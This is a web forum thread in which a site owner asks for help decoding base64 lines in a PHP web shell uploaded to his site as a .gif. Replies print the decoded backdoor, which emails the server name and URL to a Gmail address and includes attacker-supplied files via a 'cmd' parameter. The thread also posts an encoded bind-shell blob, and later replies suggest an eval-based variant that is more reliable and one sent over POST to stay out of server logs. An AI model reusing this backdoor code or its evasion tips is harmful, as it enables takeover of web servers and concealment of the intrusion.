Hi, Someone uploaded a shell script to my site yesterday. The file had .gif extension so could not be run. I checked the file and it's a pretty good hacking tool i can say that. Apart from 2 encoded lines the code is readable. Could anybody help me to decode them? eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJKR0U5SW5NMU5qVTJPRGs1UUdkdFlXbHNMbU52YlNJNyIpKTtl dmFsKGJhc2U2NF9kZWNvZGUoIkpHaGxZV1JsY2lBZ1BTQWlSbkp2YlRwY2NseHVJanM9IikpO2V2YWwoYmFzZTY0X2RlY29kZSgiUUcxaGFXd29KR0VzYzJobGJHd3NKRjlUUlZKV1JWSmJJbE5GVWxaRlVsOU9RVTFGSWwwdUpGOVRSVkpXUlZKYkoxSkZVVlZGVTFSZlZWSkpKMTBzSkdobFlXUmxjaWs3 IikpOw==")); eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImNtZCJdKSlpbmNsdWRlICRfR0VUWyJjbWQiXTs=")); PHP: Thanks PS: sorry for the title. It has to be decoded
here you go.. this code is vulnerable to remote file inclusion .. any attacker can include his code with this ie shell script <?php $a="s5656899@gmail.com"; $header = "From:\r\n"; @mail($a,shell,$_SERVER["SERVER_NAME"].$_SERVER['REQUEST_URI'],$header); if(isset($_GET["cmd"]))include $_GET["cmd"]; ?> PHP:
I thought it has to be something serious. Thats why encoded. I have tried the script on my pc localhost and seriously, this script is awesome. I have seen many of this kind of shell scripts as somebody always give it go, but this one is dangerous. I found another few coded lines. Can decode these as well? $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5 cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1 Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy 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it's some C and perl code , basically it's encoded via base 64 you can decode using this tool base64-encoder-online.waraxe.us
this is just a slice. I dont know which script but powerfull. If someone manage to execute it on server he can get control of everything. This is the best shell script i've ever seen. Anyway it can be a backdoor if you have remote file include enabled on your server. I don't think anybody would be so stupid to enable it.
Don't want to give out any ideas but: if(isset($_GET["cmd"]))include $_GET["cmd"]; PHP: Only works if allow_url_fopen is set to on (if including a remote file) - which by default is usually disabled and on most shared hostings is disabled (and can not be changed due to security reasons). Theifore the following would be a better solution: if(isset($_GET['cmd'])) eval(file_get_contents($_GET['cmd'])); PHP:
As we see it's very dangerous to use open source products... I saw similar chunk of codes in a lot of wordpress users.
If you do not want that what you did will be shown in the webserver logs, you will use POST. if(isset($_POST['cmd'])) eval(file_get_contents($_POST['cmd'])); PHP: Base64 can be decoded here Base64 online